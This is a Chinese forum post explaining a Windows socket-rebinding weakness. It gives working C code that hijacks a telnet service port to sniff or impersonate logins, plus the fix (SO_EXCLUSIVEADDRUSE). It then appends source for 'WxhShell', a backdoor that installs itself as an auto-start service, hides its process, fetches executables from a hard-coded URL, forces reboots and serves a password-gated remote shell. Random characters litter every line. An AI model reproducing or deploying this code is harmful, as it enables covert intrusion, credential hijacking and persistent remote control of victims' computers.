社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9286阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S~m8j |3K  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7zN7PHT=$t  
k`'*niz  
  saddr.sin_family = AF_INET; 2Kr8#_) 0  
7;.Iat9gMf  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z&#^9rM"  
XLYGhM  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >Z gV8X:  
`l70i2xcj  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 V#Y"0l+~  
@|w/`!}9q  
  这意味着什么?意味着可以进行如下的攻击: x@)cj  
M.qv'zV`xG  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1n6%EC|X  
Z{ 9Io/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ($UUgjv F  
>^,?0HP  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gCRPaF6  
;2 ?fz@KZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  XCyb[(4  
m#_M"B.cm  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 L"c.15\  
e^;:iJS  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 b ettOg  
&N/dxKZcc  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  ]sP  
3;uLBuZOCN  
  #include ]i1OssV~>  
  #include S5H}   
  #include h~._R6y  
  #include     Ks^wX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   nHF~a?|FT  
  int main() hVFZQJ?cv  
  { 211T}a  
  WORD wVersionRequested; {5ehm  
  DWORD ret; B=r+ m;(  
  WSADATA wsaData; |{,c2 Ck:N  
  BOOL val; ZifDU@J$t  
  SOCKADDR_IN saddr; z.h;}QRJ,@  
  SOCKADDR_IN scaddr; \j.l1O  
  int err; T.%yeJiE  
  SOCKET s; y^Q);siSy  
  SOCKET sc; sUiO~<Ozpk  
  int caddsize; Ne3YhCC>  
  HANDLE mt; tK#/S+l  
  DWORD tid;   '4M;;sKW  
  wVersionRequested = MAKEWORD( 2, 2 ); WD kE 5  
  err = WSAStartup( wVersionRequested, &wsaData ); i>-#QKqJ  
  if ( err != 0 ) { .>}Z3jUrf  
  printf("error!WSAStartup failed!\n"); 8y[Rwa  
  return -1; #l9sQ-1Q  
  } &(p5z4Df  
  saddr.sin_family = AF_INET; `q  | )_  
   hc9 ON&L\>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 jWvi% I qi  
xd"+ &YT  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u2fp~.'P  
  saddr.sin_port = htons(23); ?V~vP%1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +RiI5.$=Z  
  { $i!r> .Jo  
  printf("error!socket failed!\n"); S$40nM  
  return -1; 7dE.\#6r  
  } u35"oLV6}#  
  val = TRUE; DV>;sCMJ %  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 M*Q}^<E*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B o%Sl  
  { SY@;u<Pd   
  printf("error!setsockopt failed!\n"); JIYzk]Tj  
  return -1; MIiBNNURX  
  } 'X4)2iFV  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Oi@|4mo  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7@k3-?q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 G-:7,9  
7>0/$i#'Vl  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) x]R0zol  
  { ]!jfrj  
  ret=GetLastError(); cc1M9kVi  
  printf("error!bind failed!\n"); 0$=U\[og  
  return -1; ]HXHz(?;F  
  } Oc.8d<  
  listen(s,2); \;Q!}_ K  
  while(1) 6rCUq  
  { *]Cyc<  
  caddsize = sizeof(scaddr); 6iHY{WcDj  
  //接受连接请求 -Oz! GX  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >'WTVj`  
  if(sc!=INVALID_SOCKET) xwHE,ykE  
  { c7WOcy@M  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,":_CY4(  
  if(mt==NULL) '*@=SM  
  { #i*PwgC%_  
  printf("Thread Creat Failed!\n"); \O,yWyU4  
  break; T#I}w\XlhP  
  } 4+p1`  
  } ^q%f~m,O<  
  CloseHandle(mt); nYvkeT  
  } 4v{Ye,2  
  closesocket(s); _)YB*z5  
  WSACleanup(); U17=/E  
  return 0; Dk2Zl  
  }   ~,8#\]xR  
  DWORD WINAPI ClientThread(LPVOID lpParam) q@ wX=  
  { kK:Wr&X0H  
  SOCKET ss = (SOCKET)lpParam; E7w^A  
  SOCKET sc; . _Jypk8  
  unsigned char buf[4096]; cbzS7q<)  
  SOCKADDR_IN saddr; C}L2'l,  
  long num; *&+zI$u(  
  DWORD val; W(-son~I  
  DWORD ret; e(&u3 #7Nn  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )Q}Q -Zt  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R,OT\FQ<  
  saddr.sin_family = AF_INET; \TDn q!)?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Zz 'g&ewo  
  saddr.sin_port = htons(23); `/i/AZ{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WOeLn[  
  { 1L?W+zMO  
  printf("error!socket failed!\n"); 8A-*MU`+  
  return -1; 9.#")%_p  
  } #8BI`.t)j  
  val = 100; X_Pbbx_j  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z-sq9Qp&x  
  { D+q z`  
  ret = GetLastError(); Z^WI~B0nt  
  return -1; YzEOfHL,  
  } 1C*mR%Q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YZ<5-C  
  { k!WeE#"(  
  ret = GetLastError(); ``{GU}n  
  return -1; x>A[~s"|N  
  } m<*+^JN  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !#e+!h@  
  { Q?`s4P)14o  
  printf("error!socket connect failed!\n"); D})12qB;u9  
  closesocket(sc); (b"q(:5oX  
  closesocket(ss); 43rV> W,  
  return -1; ol {N^fi K  
  } sP=^5K`g  
  while(1) ]j$(so"  
  { mGF)Ot R  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 h^14/L=|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qc3,/JO1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A ;|P\V  
  num = recv(ss,buf,4096,0); 0| =y#`;,Z  
  if(num>0) +-5YmN'  
  send(sc,buf,num,0); I@#IXH?6  
  else if(num==0) ,WW=,P  
  break; `ooHABC  
  num = recv(sc,buf,4096,0); rx<P#y]3)  
  if(num>0) =fB"T+  
  send(ss,buf,num,0); K;w]sN+I  
  else if(num==0) N+pCC  
  break; ^.~e  
  } pRjrMS  
  closesocket(ss); L[`8 :}M  
  closesocket(sc); Q;nC #cg  
  return 0 ; $ma@z0%8}  
  } }"kF<gG1  
D& &71X '  
q$K}Fm1C  
========================================================== ?@6Zv$vZ  
'coY`B; 8  
下边附上一个代码,,WXhSHELL 3RFU  
lJx5scN [  
========================================================== Wdj|RKw  
:j/sTO=  
#include "stdafx.h" (>lH=&%zj  
^B7Ls{  
#include <stdio.h> =OTu8_ d0t  
#include <string.h> MvaX>n !o  
#include <windows.h> {*  w _*  
#include <winsock2.h> ETdN<}m  
#include <winsvc.h> %8YUK/(|n  
#include <urlmon.h> '0I>  
um( xZ6&m  
#pragma comment (lib, "Ws2_32.lib") O+=}x]q*y  
#pragma comment (lib, "urlmon.lib") z('t#J!b  
'UuHyC2Ha3  
#define MAX_USER   100 // 最大客户端连接数 IQ xi@7%&  
#define BUF_SOCK   200 // sock buffer J 5xZL v  
#define KEY_BUFF   255 // 输入 buffer T~g`;Q%i  
X7tBpyi  
#define REBOOT     0   // 重启 tv: mjS  
#define SHUTDOWN   1   // 关机 3h A5"G+7  
EDF0q i  
#define DEF_PORT   5000 // 监听端口 .%M80X{5~  
.CW,Td3f!  
#define REG_LEN     16   // 注册表键长度 *|;`Gp  
#define SVC_LEN     80   // NT服务名长度 0 c,!<\B  
@V^5_K  
// 从dll定义API y!q`o$nK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b+$wx~PLi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $IdU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); eIhfhz?Q;#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "/3YV%to-#  
,TYFPulYcp  
// wxhshell配置信息 qT#NS&T!-  
struct WSCFG { nD!t*P  
  int ws_port;         // 监听端口 K@:t6  
  char ws_passstr[REG_LEN]; // 口令 ]xbMMax  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]A1'+!1$  
  char ws_regname[REG_LEN]; // 注册表键名 u4 ~.[3E*  
  char ws_svcname[REG_LEN]; // 服务名 kD)]\   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =&DuQvN,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 sJ5#T iX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s;sr(34  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 15Jc PDV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >?ec"P%vS/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J'k^(ZZ  
8VC%4+.FF  
}; sNMF(TY  
S?c<Lf~W  
// default Wxhshell configuration f=7[GZoDn  
struct WSCFG wscfg={DEF_PORT, 3|EAOoWnK  
    "xuhuanlingzhe", = U[$i"+  
    1, H%i [;  
    "Wxhshell", u Qg$hS  
    "Wxhshell", 8CH9&N5W5t  
            "WxhShell Service", 6#a82_  
    "Wrsky Windows CmdShell Service", C+dz0u3s  
    "Please Input Your Password: ", g*w}m>O  
  1, JLg/fB3%  
  "http://www.wrsky.com/wxhshell.exe",  OAgZeK$  
  "Wxhshell.exe" )XoMOz  
    }; >T{TE"XyO|  
JE<h  
// 消息定义模块 Fw#1?/K~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~w.y9)",  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iDltN]zS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^E~1%Md.  
char *msg_ws_ext="\n\rExit."; W[>qiYf^b  
char *msg_ws_end="\n\rQuit."; e-VGJxR  
char *msg_ws_boot="\n\rReboot..."; 7=&+0@R#/d  
char *msg_ws_poff="\n\rShutdown..."; ;*=7>"o'`  
char *msg_ws_down="\n\rSave to "; %CUwD  
=T)y(] ;M$  
char *msg_ws_err="\n\rErr!"; @![1W@J  
char *msg_ws_ok="\n\rOK!"; TpdYU*z_Br  
w>'3}o(nY  
char ExeFile[MAX_PATH]; `91Z]zGpU  
int nUser = 0; Cj/!m  
HANDLE handles[MAX_USER]; Mf7 [@#$  
int OsIsNt; b+L!p.:  
@twi<U_  
SERVICE_STATUS       serviceStatus; JEP9!y9y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RPjw12Ly  
:Smyk.B2!  
// 函数声明 Q9;VSF)  
int Install(void); aNwx~t]G  
int Uninstall(void); UXw I?2L  
int DownloadFile(char *sURL, SOCKET wsh); @3~Wukc  
int Boot(int flag); +G,_|C2J  
void HideProc(void); _@ g\.7@0G  
int GetOsVer(void); X0]$Ovq(l  
int Wxhshell(SOCKET wsl); YtXd>@7  
void TalkWithClient(void *cs); Oh,Xjel  
int CmdShell(SOCKET sock); #5iwDAw:|r  
int StartFromService(void); Z&7Yl(|  
int StartWxhshell(LPSTR lpCmdLine); !Fs<r)j  
,8cVv->u/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y@ vC!C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aN!,\D  
,kl``w|1M  
// 数据结构和表定义 *)vy%\  
SERVICE_TABLE_ENTRY DispatchTable[] = vJsg6oH  
{ 7$8DMBqq  
{wscfg.ws_svcname, NTServiceMain}, ZkNet>9  
{NULL, NULL} =-qYp0sVP  
}; $if(n||  
k?1e + \  
// 自我安装 y'z9Ya  
int Install(void) ?JW/Stua  
{ Jid_&\  
  char svExeFile[MAX_PATH]; 90ov[|MkM  
  HKEY key; kv2 H3O  
  strcpy(svExeFile,ExeFile); 2Zg%4/u,Zp  
`(6cRT`Wp  
// 如果是win9x系统,修改注册表设为自启动 h8;H<Y;yQ  
if(!OsIsNt) { 7|o}m}yVx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *?>52 -&b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ih |&q  
  RegCloseKey(key); ,vBB". LY'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &2n 5m&   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VJ1rU mO~  
  RegCloseKey(key); n;~'W*Ln0  
  return 0; =)x+f/c]  
    } 1)f <  
  } >gl.ILo  
} =Q6JXp  
else { y I[kaH"J  
42:,*4t(  
// 如果是NT以上系统,安装为系统服务 RVF<l?EI4R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /2Ok;!.  
if (schSCManager!=0) 6y"T;.FAo  
{ [+!+Yn6:  
  SC_HANDLE schService = CreateService M<Y{Cs  
  ( p<y \ ^a  
  schSCManager,  RcZ&/MY  
  wscfg.ws_svcname, g!z &lQnZ  
  wscfg.ws_svcdisp, ,L-V?B(UQ  
  SERVICE_ALL_ACCESS, JIf.d($ ~:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8x8nQ *_  
  SERVICE_AUTO_START, ll?Qg%V[t  
  SERVICE_ERROR_NORMAL, j%':M  
  svExeFile, x1" 8K  
  NULL, z$Qy<_l  
  NULL, \3hFb,/4k  
  NULL, jLw|F-v-l<  
  NULL, -U;=]o1  
  NULL ;qcOcm%  
  ); jHV) TBr  
  if (schService!=0) zhY]!  
  { Lzx/9PPYn  
  CloseServiceHandle(schService); N9u {)u  
  CloseServiceHandle(schSCManager); _T;Kn'Gz(&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Zm+GH^f'  
  strcat(svExeFile,wscfg.ws_svcname); 9S<V5$}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K?yMy,9%Yw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D4?cnwU  
  RegCloseKey(key); JM53sx4&  
  return 0; <L2z|%`  
    } =dp`4N  
  } R{6M(!x  
  CloseServiceHandle(schSCManager); } V"A;5j`  
} `X B$t?xi  
} /4upw`35]  
*o<|^,R  
return 1; O>9-iqP>`d  
} M} +s_h9  
2;w> w#}>  
// 自我卸载 Ci2*5n<  
int Uninstall(void) g\*2w @  
{ &<cP{aBa  
  HKEY key; n' 1LNi  
l-SVI9|<0  
if(!OsIsNt) { |lyspD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (@=h(u.  
  RegDeleteValue(key,wscfg.ws_regname); 8k_hX^  
  RegCloseKey(key); /74)c~.W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gsz$H_  
  RegDeleteValue(key,wscfg.ws_regname); dki3(  
  RegCloseKey(key); V|<'o<h8  
  return 0; t$lJgj(  
  } 3(:?Z-iKe  
} pezfB{x?  
} {J/+KK  
else { ]1I-e2Q-J  
>A}ra^gU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3.rl^Cq1  
if (schSCManager!=0) XRP+0=0  
{ #fXy4iL l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >xXq:4l>}  
  if (schService!=0) 9j5B(_J^  
  { \)2'+R  
  if(DeleteService(schService)!=0) { Ix0#eoj  
  CloseServiceHandle(schService); h|<;:o?yh  
  CloseServiceHandle(schSCManager); `6PBV+]Vm3  
  return 0; tv; ?W=&P  
  } l>("L9  
  CloseServiceHandle(schService); rAD4}A_w  
  } 4z^~,7J^  
  CloseServiceHandle(schSCManager); 8[a N5M]  
} Ft_g~]kZo  
} FR\r/+n:t0  
g O8~$Aj  
return 1; N1U.1~U  
} {&FOa'bP  
r>rL[`p(2  
// 从指定url下载文件 <t"fL RX  
int DownloadFile(char *sURL, SOCKET wsh) ?DY6V;&F@f  
{ 'G`xD3 E3,  
  HRESULT hr; yz)Nco]  
char seps[]= "/"; ler$HA%F]  
char *token; x$pz(Q&v  
char *file; _6]tbni?v  
char myURL[MAX_PATH]; Mv:\T%]  
char myFILE[MAX_PATH]; `*i:z'  
8rNf4]5@X(  
strcpy(myURL,sURL); bKh}Y`  
  token=strtok(myURL,seps); ft!D2M  
  while(token!=NULL) x@|10GC#:  
  { _J,*0~O$  
    file=token; WWLf'89It  
  token=strtok(NULL,seps); Wq<H sJd/  
  } y"H(F,(N  
%-|$7?~   
GetCurrentDirectory(MAX_PATH,myFILE); khQ fLA  
strcat(myFILE, "\\"); m=w #l>!  
strcat(myFILE, file); 'a~F'FN$  
  send(wsh,myFILE,strlen(myFILE),0); JYLAu4s6  
send(wsh,"...",3,0); vpdT2/F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I~-sBMm(w  
  if(hr==S_OK) 6~6 vwp  
return 0; .{(gku>g(  
else :1~4X  
return 1; kAW2vh  
-)DxF<8B  
} 4OG 1_6K  
i\* b<V  
// 系统电源模块 %V(U]sbV  
int Boot(int flag) 8C I\NR{x8  
{ :aD_>,n  
  HANDLE hToken; V)I Tk \  
  TOKEN_PRIVILEGES tkp; <co:z<^lqu  
*QoQ$alHH  
  if(OsIsNt) { ~Yre(8+M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \3x+Z!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cxIAI=JK  
    tkp.PrivilegeCount = 1; $6d5W=u$H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K)eyFc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .AF\[IQ  
if(flag==REBOOT) { k~JTQh*,w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .8wF> 8  
  return 0; S=$ \S9  
} QO4eDSW  
else { NkAu<> G _  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LfvRH?<W  
  return 0; T|5uywA|  
} p`'3Il3  
  } `mquGk|)  
  else { tHFUV\D;,  
if(flag==REBOOT) { EIOP+9zP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C`8.8  
  return 0; jTqE V(  
} ) LohB,?  
else { 6dRvx;d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OZe`>Q6  
  return 0; - P4X@s_;  
} !{A#\~,  
} Jn20^YG  
GvL\%0Ibx  
return 1; W Qe Q`pM  
} ~le:4qaX  
880T'5}S :  
// win9x进程隐藏模块 %~N| RSec  
void HideProc(void) \M*c3\&~,e  
{ gi8f)MNP?~  
f;b f R&v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5+/XO>P1m|  
  if ( hKernel != NULL ) :]8!G- Z  
  { 2HDWlUTNVO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yz%o?%@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MO|8A18B  
    FreeLibrary(hKernel); )ZfbM|  
  } l^__oam  
QL-E4]   
return; [`1@`5SL-  
} \CYKj_c  
&p55Cg@e)  
// 获取操作系统版本 > v4+@o[~  
int GetOsVer(void) (^~~&/U_U$  
{ +y 48.5  
  OSVERSIONINFO winfo; mS+sh'VH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZD<e$PxxCd  
  GetVersionEx(&winfo); O 2+taB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3WPZZN<K9  
  return 1; /WIH#M  
  else t1!>EI`  
  return 0; kU{a!ca4  
} ,/dW*B  
es\Fn#?O  
// 客户端句柄模块 @$;I%  
int Wxhshell(SOCKET wsl) 4@Bl 1b[<  
{ 12}!oS~_  
  SOCKET wsh; j!IkU}*c  
  struct sockaddr_in client; &HqBlRo  
  DWORD myID; f/sLQdK,  
-E.fo._L5  
  while(nUser<MAX_USER) R vd'uIJ  
{ TjjR% 3  
  int nSize=sizeof(client); i`!>zl+D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xQNGlVipZ@  
  if(wsh==INVALID_SOCKET) return 1; p,3}A( >  
352RJC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;/!o0:m^I  
if(handles[nUser]==0) 3E!3kSh|  
  closesocket(wsh); pzT`.#N:M  
else </2Cn@  
  nUser++; / LLo7"  
  } RH;A|[7T&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7H?lR~w  
R 3*{"!O  
  return 0; K!v\r"N  
} jN/snU2\0  
jT4 m(j  
// 关闭 socket e[db?f2!  
void CloseIt(SOCKET wsh) JcC2Zn6  
{ 7MhaLkB_6  
closesocket(wsh); :,.HJ[Vg&  
nUser--; ~eXI}KhBw6  
ExitThread(0); $?DEO[p.  
} ,2mq}u>WU  
m1RjD$fM  
// 客户端请求句柄 =Nr?F '<  
void TalkWithClient(void *cs) Q3[nS(#Z/=  
{ r%`3*<ALV)  
p &i+i  
  SOCKET wsh=(SOCKET)cs; MSe >1L2=  
  char pwd[SVC_LEN]; AH^ud*3F  
  char cmd[KEY_BUFF]; IB^vEY!`6_  
char chr[1]; jM>;l6l  
int i,j; m:cWnG  
k8,s<m  
  while (nUser < MAX_USER) { ~NIqO4 D  
P9M%B2DQ6f  
if(wscfg.ws_passstr) { *,,:;F^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5m?9O7Pg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )qRE['M  
  //ZeroMemory(pwd,KEY_BUFF); gj4ONmY  
      i=0; }synU]^7\  
  while(i<SVC_LEN) { *56q4\1  
Sd\oL*lN  
  // 设置超时 Q>WnSm5R  
  fd_set FdRead; !y3XIbdS"  
  struct timeval TimeOut; 3o#K8EL  
  FD_ZERO(&FdRead); eyos6Qi  
  FD_SET(wsh,&FdRead); 72= 4#  
  TimeOut.tv_sec=8; %Ybr5$_  
  TimeOut.tv_usec=0; rE?B9BF3O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e4;h*IQK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;ao <{i?  
03!#99  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E4<#6q  
  pwd=chr[0]; -9R.mG  
  if(chr[0]==0xd || chr[0]==0xa) { e+y%M  
  pwd=0; 5IbCE.>iU  
  break; wif1|!aL  
  } 5.lg*vh  
  i++; -5@hU8B'a  
    } 1|$J>  
*nwH1FjH  
  // 如果是非法用户,关闭 socket b[MKo7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +; =XiB5R  
} /$j,p E=  
z h%b<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fbkAu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .~|[* q\  
;bFd*8?;  
while(1) { od*#)   
>P-'C^:V=  
  ZeroMemory(cmd,KEY_BUFF); )ZpMB  
uC2qP)m,^  
      // 自动支持客户端 telnet标准   '~xiD?:  
  j=0; Sy^@v%P'A  
  while(j<KEY_BUFF) { Or-LQ^~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a,e;(/#\7  
  cmd[j]=chr[0]; U:8cz=#  
  if(chr[0]==0xa || chr[0]==0xd) { "|/q4JN)7d  
  cmd[j]=0; u\)q.`  
  break; }+F@A`Bm&  
  } 5Trc#i<\  
  j++; Iz&<rL;s  
    } kWgrsN+Z  
aUKa+"`S  
  // 下载文件 F/"lJ/I  
  if(strstr(cmd,"http://")) { 2]H?q!l!O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  hAD gi^  
  if(DownloadFile(cmd,wsh)) T^Hq 5Oy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?]>;Wr  
  else R_#k^P^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,n$HTWa@0  
  } 9<5ii  
  else { h#u k-7  
1(jx.W3  
    switch(cmd[0]) { |2I/r$Q  
  MF +F8h>/  
  // 帮助 aQV?}  
  case '?': { KD'}9{F,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j{H IdP  
    break; ;kD Rm'(  
  } cK'}+  
  // 安装 ;>Z0e`=  
  case 'i': { vH6.;j'^  
    if(Install()) TU9$5l/;g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N'?#g`*KW  
    else ~2QD.(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hjp,v)#  
    break; -c %'f&P  
    } cZAf?,>u  
  // 卸载 XKvH^Z4h{l  
  case 'r': { x'V:qv*O  
    if(Uninstall()) y>ePCDR3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .<6'*X R  
    else K pmq C$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >eX9dA3X  
    break; 2=X.$&a  
    } t5EYu*  
  // 显示 wxhshell 所在路径 [\=1|t5n~  
  case 'p': { }q:4Zh'l!  
    char svExeFile[MAX_PATH]; ^h"@OEga?  
    strcpy(svExeFile,"\n\r"); c`7dNx  
      strcat(svExeFile,ExeFile); PsN_c[+  
        send(wsh,svExeFile,strlen(svExeFile),0); nsu RG  
    break; 'w_Qs~6~{  
    } 8 LsJ}c  
  // 重启 ,6x>gcR  
  case 'b': { RF'&.RtVa  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~P"o_b6,k  
